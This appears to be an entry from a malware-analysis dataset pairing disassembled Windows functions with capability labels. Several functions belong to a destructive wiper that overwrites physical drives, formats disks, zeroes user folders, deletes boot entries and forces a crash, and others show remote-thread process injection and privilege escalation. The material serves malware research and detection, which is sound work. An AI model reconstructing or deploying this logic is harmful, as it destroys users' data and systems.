joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001936
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x80]
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x40
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x21c], 0
jmp 0x140001a67
mov edx, dword [rbp + 0x21c]
lea rax, [rbp + 0x1d0]
mov r8d, edx
lea rdx, str..PhysicalDrive_d
mov rcx, rax
call dbg.__mingw_sprintf
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0x10000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x210], rax
cmp qword [rbp + 0x210], 0xffffffffffffffff
je 0x140001a60
mov dword [rbp + 0x218], 0
jmp 0x140001a14
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov edx, eax
mov eax, dword [rbp + 0x218]
cdqe
mov byte [rbp + rax - 0x30], dl
add dword [rbp + 0x218], 1
cmp dword [rbp + 0x218], 0x1ff
jle 0x1400019e7
lea rcx, [rbp - 0x34]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x210]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add dword [rbp + 0x21c], 1
cmp dword [rbp + 0x21c], 0xf
jle 0x14000196a
lea rax, str.format_C:__fs:raw__q__y
mov rcx, rax
call sym.system
lea rax, str.format_D:__fs:raw__q__y
mov rcx, rax
call sym.system
lea rax, str.format_E:__fs:raw__q__y
mov rcx, rax
call sym.system
nop
add rsp, 0x2a8
pop rdi
pop rbp
ret

Function at 0x140001aac
Capabilities:
Execute command
Query environment variable

Disassembly:
push rbp
sub rsp, 0x370
lea rbp, [rsp + 0x80]
lea rax, str.Desktop
mov qword [rbp + 0xb0], rax
lea rax, str.Documents
mov qword [rbp + 0xb8], rax
lea rax, str.Pictures
mov qword [rbp + 0xc0], rax
lea rax, str.Downloads
mov qword [rbp + 0xc8], rax
lea rax, str.Music
mov qword [rbp + 0xd0], rax
lea rax, str.Videos
mov qword [rbp + 0xd8], rax
lea rax, [rbp - 0x60]
mov r8d, 0x104
mov rdx, rax
lea rax, str.USERPROFILE
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
mov dword [rbp + 0x2ec], 0
jmp 0x140001b82
mov eax, dword [rbp + 0x2ec]
cdqe
mov rcx, qword [rbp + rax*8 + 0xb0]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xe0]
mov r9, rcx
mov r8, rdx
lea rdx, str.for__r___s_s____x_in____do_fsutil_file_setZeroData_offset0_length999999999____x_
mov rcx, rax
call dbg.__mingw_sprintf
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.system
add dword [rbp + 0x2ec], 1
cmp dword [rbp + 0x2ec], 5
jle 0x140001b3c
nop
nop
add rsp, 0x370
pop rbp
ret
Function at 0x140001b96
Capabilities:
Create thread
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x280
lea rbp, [rsp + 0x80]
call dbg.__main
call sym.DisableCloseButton
call sym.IsElevated
test eax, eax
jne 0x140001bc8
call sym.RequestAdminPrivileges
mov eax, 0
jmp 0x140001e3b
call sym.DisableDefenses
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.CreateMassUsers]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.EncryptFiles]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.OverwriteFiles]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.DeleteSystemFiles]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
call sym.CorruptStartup
call sym.DestroyPartitions
lea rax, str.bcdedit__delete_current__f
mov rcx, rax
call sym.system
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0x10000000
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0xffffffffffffffff
je 0x140001d84
mov dword [rbp + 0x1fc], 0
jmp 0x140001d35
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov edx, eax
mov eax, dword [rbp + 0x1fc]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x1fc], 1
cmp dword [rbp + 0x1fc], 0x1ff
jle 0x140001d08
lea rcx, [rbp + 0x1cc]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e8]
lea rdx, str.NtRaiseHardError
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0x1d7]
mov rax, qword [rbp + 0x1e0]
mov r9, rdx
mov r8d, 0
mov edx, 1
mov ecx, 0x13
call rax
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
mov rax, qword [rbp + 0x1d8]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0xc0000420
call rax
mov eax, 0
add rsp, 0x280
pop rbp
ret
Function at 0x140002110
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140002180
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e094]
mov rbx, rcx
test esi, esi
jle 0x1400022b0
mov rax, qword [0x14000e098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400021cb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002255
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400021b0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400022d2
mov rax, qword [0x14000e098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400022b7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000224e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140002260
add dword [0x14000e094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000224e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400021d8
mov rax, qword [0x14000e098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002880
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x1400028e4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400028db
test eax, eax
jne 0x1400028db
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400028c0
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002b20
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002b38
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002b40
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002b50
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140002b9d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002b94
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002b9f
add rax, 0x28
cmp rax, r9
jne 0x140002b80
xor eax, eax
ret

Function at 0x140002ba0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002c30
mov rdx, qword [0x14000af70]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002c1e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002c1e
cmp word [rax + 0x18], 0x20b
jne 0x140002c1e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002c30
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002c09
add rbx, 0x28
cmp rbx, rdi
je 0x140002c30
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002c00
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002c40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000af70]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002c60
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002c68
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002c60
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002cbd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002cb4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002c60
add rax, 0x28
cmp rax, r9
jne 0x140002ca0
xor eax, eax
ret

Function at 0x140002cc0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000af70]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002cdf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002ce8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002cdf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002d00
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000af70]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002d20
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002d28
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002d20
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002d78
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002d6f
test rcx, rcx
je 0x140002d20
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002d60
xor eax, eax
ret

Function at 0x140002d80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000af70]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002d9f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002da8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002dc0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000af70]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002de0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002de8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002de0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002de0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002e34
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002e40
add rdx, 0x28
cmp r9, rdx
jne 0x140002e20
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002e50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000af70]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002e72
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002e80
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002e72
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002e72
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002e72
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002ed5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002ee8
add rdx, 0x28
cmp r10, rdx
jne 0x140002ec0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002ef7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002f07
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002ede
test ecx, ecx
jg 0x140002ef0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x100001630
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
lea rsp, [rsp - 0x30]
mov rbx, rcx
mov rdi, rdx
movsxd rax, dword [rdi + 0x3c]
lea rax, [rax + rdi]
mov rsi, rax
mov r12d, dword [rsi + 0x50]
movabs rax, 0
movabs r15, 0
cmp dword [rsi], 0x4550
je 0x10000167f
mov qword [rsp + 0x28], 0
jmp 0x100001857
mov edx, r12d
mov rcx, rdi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
je 0x10000169c
mov qword [rsp + 0x28], 0
jmp 0x100001857
mov dword [rsp + 0x20], 0x40
mov r8d, r12d
mov rcx, rbx
mov r9d, 0x3000
movabs rdx, 0
call sub.kernel32.dll_VirtualAllocEx
mov r13, rax
test r13, r13
je 0x10000184f
mov dword [rsp + 0x20], 0x40
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
mov r8d, r12d
mov r9d, 0x3000
movabs rdx, 0
call sub.kernel32.dll_VirtualAllocEx
mov r15, rax
test r15, r15
je 0x100001837
mov r8d, r12d
mov rdx, rdi
mov rcx, r15
call fcn.10000d760
lea r8, [rsi + 0xb0]
cmp dword [r8 + 4], 0
jbe 0x1000017ea
cmp dword [r8], 0
jbe 0x1000017ea
mov rdx, qword [rsi + 0x30]
mov rax, r13
sub rax, rdx
mov rcx, rax
mov rdx, qword [rsi + 0x30]
mov rax, rdi
sub rax, rdx
mov r9, rax
mov eax, dword [r8]
lea rax, [rax + r15]
mov r11, rax
jmp 0x1000017ea
cmp dword [r11 + 4], 8
jb 0x1000017db
mov esi, dword [r11 + 4]
lea rsi, [rsi - 8]
cvtsi2sd xmm0, rsi
mulsd xmm0, qword [section..rdata]
cvttsd2si rsi, xmm0
mov eax, esi
lea rsi, [r11 + 8]
mov rdx, rsi
mov esi, eax
lea esi, [esi - 1]
mov r8d, 0
cmp esi, r8d
jb 0x1000017db
sub r8d, 1
nop
nop
add r8d, 1
mov edi, r8d
cmp dword [rdx + rdi*4], 0
jbe 0x1000017d6
mov edi, dword [r11]
lea rdi, [rdi + r15]
mov r14d, r8d
mov r14d, dword [rdx + r14*4]
and r14d, 0xfff
lea rdi, [rdi + r14]
mov r10, rdi
sub qword [r10], r9
mov rdi, qword [r10]
lea rdi, [rdi + rcx]
mov qword [r10], rdi
cmp esi, r8d
ja 0x1000017a0
mov esi, dword [r11 + 4]
shl rsi, 3
lea rsi, [rsi + r11]
mov r11, rsi
cmp dword [r11], 0
jne 0x100001758
mov qword [rsp + 0x20], 0
mov r9d, r12d
mov r8, r15
mov rdx, r13
mov rcx, rbx
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
jne 0x100001837
mov rdx, r13
mov rcx, rbx
mov r9d, 0x8000
movabs r8, 0
call sub.kernel32.dll_VirtualFreeEx
movabs r13, 0
mov rcx, r15
mov r8d, 0x8000
movabs rdx, 0
call sub.kernel32.dll_VirtualFree
mov rax, r13
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
nop
lea rsp, [rsp + 0x30]
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
ret
Function at 0x100001870
Capabilities:
Create thread

Disassembly:
push rbx
push rdi
push rsi
push r12
lea rsp, [rsp - 0x38]
mov r8d, ecx
mov rbx, rdx
mov sil, 0
mov edx, 0
mov ecx, 0x47a
call sub.kernel32.dll_OpenProcess
mov rdi, rax
test rdi, rdi
je 0x100001932
movabs rcx, 0
call sub.kernel32.dll_GetModuleHandleA
mov r12, rax
mov rdx, r12
mov rcx, rdi
call fcn.100001630
test rax, rax
je 0x10000192a
lea r9, [rax + rbx]
sub r9, r12
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
movabs r8, 0
movabs rdx, 0
call sub.kernel32.dll_CreateRemoteThread
mov rcx, rax
test rcx, rcx
je 0x10000190f
call sub.kernel32.dll_CloseHandle
mov sil, 1
jmp 0x10000192a
mov rdx, r12
mov rcx, rdi
mov r9d, 0x8000
movabs r8, 0
call sub.kernel32.dll_VirtualFreeEx
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
movzx eax, sil
nop
lea rsp, [rsp + 0x38]
pop r12
pop rsi
pop rdi
pop rbx
ret
Function at 0x100001990
Capabilities:
Allocate or change rwx memory
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x1c0]
mov qword [rbp - 0x188], rbx
mov qword [rbp - 0x180], rdi
mov qword [rbp - 0x178], rsi
mov qword [rbp - 0x170], r12
mov qword [rbp - 8], rcx
call fcn.100004bb0
mov qword [rbp - 0x168], 0
mov qword [rbp - 0x160], 0
nop
mov r12d, 0
mov dword [rbp - 0x10], 0
mov ebx, 0
mov qword [rbp - 0x20], 0
lea r9, [rbp - 0x10]
mov r8d, 0
movabs rdx, 0
mov ecx, 5
call sub.ntdll.dll_ZwQuerySystemInformation
mov eax, dword [rbp - 0x10]
shl rax, 1
mov qword [rbp - 0x18], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp - 0x18]
lea rdx, [rbp - 0x20]
movabs r8, 0
movabs rcx, 0xffffffffffffffff
call sub.ntdll.dll_ZwAllocateVirtualMemory
mov r8d, dword [rbp - 0x10]
shl r8d, 1
mov rdx, qword [rbp - 0x20]
movabs r9, 0
mov ecx, 5
call sub.ntdll.dll_ZwQuerySystemInformation
mov rsi, qword [rbp - 0x20]
lea rdi, [rbp - 0x158]
movabs rcx, 0x27
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rbp - 0x118]
lea rcx, [rbp - 0x160]
mov r8d, 0
call fcn.100006800
mov rax, qword [rbp - 0x160]
test rax, rax
je 0x100001aab
mov rax, qword [rax - 8]
cmp rax, 0
jle 0x100001bdd
lea rcx, [rbp - 0x160]
call fcn.100004b70
mov rdx, qword [rbp - 0x118]
lea rcx, [rbp - 0x168]
mov r8d, 0
call fcn.100006800
mov rdx, qword [rbp - 0x168]
lea rcx, [rbp - 0x160]
call fcn.100004be0
mov rdx, qword [rbp - 8]
mov rcx, qword [rbp - 0x160]
movabs r8, 1
call fcn.10000d790
test rax, rax
je 0x100001bdd
mov ebx, dword [rbp - 0x108]
jmp 0x100001beb
mov eax, dword [rbp - 0x158]
lea eax, [eax + r12d]
mov r12d, eax
and eax, 0xffffffff
mov rdx, qword [rbp - 0x20]
lea rsi, [rax + rdx]
lea rdi, [rbp - 0x158]
movabs rcx, 0x27
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rbp - 0x118]
lea rcx, [rbp - 0x168]
mov r8d, 0
call fcn.100006800
mov rax, qword [rbp - 0x168]
test rax, rax
je 0x100001b78
mov rax, qword [rax - 8]
cmp rax, 0
jle 0x100001bdd
lea rcx, [rbp - 0x168]
call fcn.100004b70
mov rdx, qword [rbp - 0x118]
lea rcx, [rbp - 0x160]
mov r8d, 0
call fcn.100006800
mov rdx, qword [rbp - 0x160]
lea rcx, [rbp - 0x168]
call fcn.100004be0
mov rdx, qword [rbp - 8]
mov rcx, qword [rbp - 0x168]
movabs r8, 1
call fcn.10000d790
test rax, rax
je 0x100001bdd
mov ebx, dword [rbp - 0x108]
jmp 0x100001beb
cmp dword [rbp - 0x158], 0
jne 0x100001b20
nop
mov rcx, rbp
call fcn.100001950
mov eax, ebx
mov rbx, qword [rbp - 0x188]
mov rdi, qword [rbp - 0x180]
mov rsi, qword [rbp - 0x178]
mov r12, qword [rbp - 0x170]
lea rsp, [rbp]
pop rbp
ret
Function at 0x100001c20
Capabilities:
Acquire debug privileges

Disassembly:
lea rsp, [rsp - 0x48]
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
lea r8, [rsp + 0x30]
mov edx, 0x28
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x100001cb9
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x44], 2
lea r8, [rsp + 0x3c]
lea rdx, [0x100015008]
movabs rcx, 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x100001caf
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov r9d, 0
mov edx, 0
call sub.advapi32.dll_AdjustTokenPrivileges
test eax, eax
je 0x100001caf
mov rcx, qword [rsp + 0x30]
call sub.kernel32.dll_CloseHandle
jmp 0x100001cb9
mov rcx, qword [rsp + 0x30]
call sub.kernel32.dll_CloseHandle
nop
lea rsp, [rsp + 0x48]
ret

Function at 0x100009950
Capabilities:
Check for software breakpoints

Disassembly:
push rbx
push rdi
push rsi
lea rsp, [rsp - 0x20]
mov ax, word [0x1000131c0]
cmp ax, 0xcb
je 0x100009a85
cmp ax, 0xcc
je 0x100009a85
mov rax, qword [0x10001e950]
test rax, rax
je 0x10000998c
mov ecx, dword [0x10001e730]
call rax
mov rbx, rax
jmp 0x100009993
lea rbx, [0x10001e738]
cmp word [0x10001e720], 0
jle 0x1000099ba
lea rcx, [0x10001e6f0]
call fcn.100009c70
mov rcx, rbx
call fcn.1000093f0
mov rcx, rbx
call fcn.100009480
mov rsi, qword [rbx]
jmp 0x1000099ea
mov rdi, qword [rsi + 8]
mov rax, qword [rsi]
and rax, 1
test rax, rax
jne 0x1000099dd
mov rdx, rsi
mov rcx, rbx
call fcn.100008620
jmp 0x1000099e7
mov rax, qword [rsi]
and rax, 0xfffffffffffffffe
mov qword [rsi], rax
mov rsi, rdi
test rsi, rsi
jne 0x1000099c0
mov qword [rbx], 0
mov dword [rbx + 0x90], 0
cmp word [0x10001e720], 0
jle 0x100009a85
lea rdx, [0x10001e600]
mov rcx, rbx
call fcn.1000087b0
mov rsi, rax
test rsi, rsi
je 0x100009a54
mov rax, qword [0x10001e6a0]
mov qword [rsi + 0x18], rax
cmp qword [0x10001e6a0], 0
je 0x100009a46
mov rax, qword [0x10001e6a0]
mov qword [rax + 0x10], rsi
mov rax, qword [rbx + 0xa0]
mov qword [0x10001e6a0], rax
sub word [0x10001e720], 1
cmp word [0x10001e720], 0
sete bl
lea rcx, [0x10001e6f0]
call fcn.100009c90
test bl, bl
je 0x100009a85
lea rcx, [0x10001e6f0]
call fcn.100009c50
nop
lea rsp, [rsp + 0x20]
pop rsi
pop rdi
pop rbx
ret
Function at 0x10000bc30
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rdi
push rsi
push r12
push r13
push r14
lea rsp, [rsp - 0x138]
mov esi, 0
mov qword [0x10001e390], 0
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x28]
mov r8d, 0x104
movabs rcx, 0
call sub.kernel32.dll_GetModuleFileNameA
mov ebx, eax
mov eax, ebx
and eax, 0xffffffff
mov byte [rsp + rax + 0x28], 0
mov r8d, ebx
mov rcx, rsp
mov edx, 0
call fcn.10000be10
movsxd rax, ebx
lea r8, [rax + 1]
mov rax, qword [0x10001e390]
mov rdx, qword [rax]
lea rcx, [rsp + 0x28]
call fcn.100001e10
call sub.kernel32.dll_GetCommandLineA
mov qword [0x100013230], rax
mov r14, qword [0x100013230]
jmp 0x10000bdc0
add r14, 1
movzx eax, byte [r14]
sub eax, 1
cmp eax, 0x20
jb 0x10000bcd0
cmp byte [r14], 0
je 0x10000bdca
mov dil, 0
mov r12, r14
mov ebx, 0
jmp 0x10000bd32
mov al, byte [r14]
cmp al, 1
jb 0x10000bd2b
sub al, 1
sub al, 0x1f
jbe 0x10000bd0b
sub al, 2
je 0x10000bd15
jmp 0x10000bd2b
test dil, dil
je 0x10000bd38
add ebx, 1
jmp 0x10000bd2e
cmp byte [r14 + 1], 0x22
je 0x10000bd25
test dil, dil
sete dil
jmp 0x10000bd2e
add r14, 1
jmp 0x10000bd2e
add ebx, 1
add r14, 1
cmp byte [r14], 0
jne 0x10000bcf8
test esi, esi
je 0x10000bdbd
mov r8d, ebx
